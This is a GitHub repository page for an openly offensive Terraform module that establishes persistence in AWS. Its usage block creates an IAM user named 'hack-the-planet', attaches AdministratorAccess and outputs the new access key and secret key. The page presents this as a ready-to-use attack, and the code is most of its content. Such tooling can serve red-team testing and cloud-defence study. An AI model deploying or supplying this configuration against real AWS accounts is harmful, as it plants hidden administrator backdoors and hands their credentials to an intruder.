Skip to content

Offensive Terraform module which creates IAM user, access key then attaches managed IAM Policy to an IAM user.

License

Notifications You must be signed in to change notification settings

offensive-terraform/terraform-aws-iam-create-user-persistence

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

AWS IAM Create User Persistence

OffensiveTerraform OffensiveTerraform OffensiveTerraform

Offensive Terraform module which creates an IAM user and an access key then attaches managed IAM Policy to an IAM user.

Attack Diagram

Usage

module "iam-create-user-persistence" {
  source  = "offensive-terraform/iam-create-user-persistence/aws"
  version = "0.1.0"

  user_name  = "hack-the-planet"
  policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}

output "aws_iam_user" {
  value = module.iam-create-user-persistence.aws_iam_user
}

output "aws_iam_user_policy_arn" {
  value = module.iam-create-user-persistence.aws_iam_user_policy_arn
}

output "access_key" {
  value = module.iam-create-user-persistence.access_key
}

output "secret_key" {
  value = module.iam-create-user-persistence.secret_key
}

Author

Module managed by https://github.com/iganbold